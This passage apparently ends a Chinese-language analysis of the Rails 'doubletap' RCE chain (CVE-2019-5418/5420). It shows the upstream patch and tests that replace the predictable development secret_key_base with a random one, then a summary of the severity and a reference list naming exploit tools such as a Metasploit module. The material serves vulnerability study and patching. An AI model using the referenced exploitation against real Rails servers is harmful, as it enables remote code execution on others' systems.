ENV["SECRET_KEY_BASE"] || credentials.secret_key_base || secrets.secret_key_base
@@ -588,6 +588,21 @@ def validate_secret_key_base(secret_key_base)

private

+ def generate_development_secret
+ if secrets.secret_key_base.nil?
+ key_file = Rails.root.join("tmp/development_secret.txt")
+
+ if !File.exist?(key_file)
+ random_key = SecureRandom.hex(64)
+ File.binwrite(key_file, random_key)
+ end
+
+ secrets.secret_key_base = File.binread(key_file)
+ end
+
+ secrets.secret_key_base
+ end
+
def build_request(env)
req = super
env["ORIGINAL_FULLPATH"] = req.fullpath
diff --git a/railties/test/application/configuration_test.rb b/railties/test/application/configuration_test.rb
index 293a1a7dbd..68c2199aba 100644
--- a/railties/test/application/configuration_test.rb
+++ b/railties/test/application/configuration_test.rb
@@ -513,6 +513,27 @@ def index
end


+ test "application will generate secret_key_base in tmp file if blank in development" do
+ app_file "config/initializers/secret_token.rb", <<-RUBY
+ Rails.application.credentials.secret_key_base = nil
+ RUBY
+
+ app "development"
+
+ assert_not_nil app.secrets.secret_key_base
+ assert File.exist?(app_path("tmp/development_secret.txt"))
+ end
+
+ test "application will not generate secret_key_base in tmp file if blank in production" do
+ app_file "config/initializers/secret_token.rb", <<-RUBY
+ Rails.application.credentials.secret_key_base = nil
+ RUBY
+
+ assert_raises ArgumentError do
+ app "production"
+ end
+ end
+
test "raises when secret_key_base is blank" do
app_file "config/initializers/secret_token.rb", <<-RUBY
Rails.application.credentials.secret_key_base = nil
@@ -550,7 +571,6 @@ def index

test "application verifier can build different verifiers" do
make_basic_app do |application|
- application.credentials.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"
application.config.session_store :disabled
end

diff --git a/railties/test/isolation/abstract_unit.rb b/railties/test/isolation/abstract_unit.rb
index 6568a356d6..fe850d45ec 100644
--- a/railties/test/isolation/abstract_unit.rb
+++ b/railties/test/isolation/abstract_unit.rb
@@ -155,6 +155,7 @@ def self.name; "RailtiesTestApp"; end
@app.config.active_support.deprecation = :log
@app.config.active_support.test_order = :random
@app.config.log_level = :info
+ @app.secrets.secret_key_base = "b3c631c314c0bbca50c1b2843150fe33"

yield @app if block_given?
@app.initialize!
--
2.21.0

总结

此bug存在于版本6.0.0.X和5.2.X of Rails。鉴于此漏洞的CVSS v3评分为9.8,使用Rails用户肯定应该尽快升级或应用缓解措施。

趋势科技安全研究团队的Sivathmican Sivakumaran和Pengsu Cheng对此漏洞进行了彻底分析。

rails doubletap RCE (CVE-2019-5418 & CVE-2019-5420) 在国内分析的比较少,可能国内使用ruby的应用较少。

但是在国外算是危害较为严重的一个漏洞利用链。

参考资源

  • CVE-2019-5418
  • CVE-2019-5420
  • rails CVE-2019-5418 and CVE-2019-5419 github patch
  • [CVE-2019-5418] Ruby on Rails Arbitrary File Content Disclosure Vulnerability Lab
  • CVE-2019–5418: on WAF bypass and caching
  • Analysis for【CVE-2019-5418】File Content Disclosure on Rails
  • CVE-2019-5418 - File Content Disclosure on Rails
  • Rails-doubletap-exploit
  • [CVE-2019-5418] File Content Disclosure in Action View
  • [CVE-2019-5420] Possible Remote Code Execution Exploit in Rails Development Mode
  • REMOTE CODE EXECUTION VIA RUBY ON RAILS ACTIVE STORAGE INSECURE DESERIALIZATION
  • RCE which may occur due to ActiveSupport::MessageVerifier or ActiveSupport::MessageEncryptor (especially Active storage)
  • ruby 反序列化 (CVE-2019-5420)
  • CVE-2019-5420 python decode cookie
  • CVE-2019-5420 python decode cookie then forge cookie
  • Ruby On Rails - DoubleTap Development Mode secret_key_base Remote Code Execution (Metasploit)
  • [CVE-2019-5418] Ruby on Rails Arbitrary File Content Disclosure Vulnerability Lab
  • RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN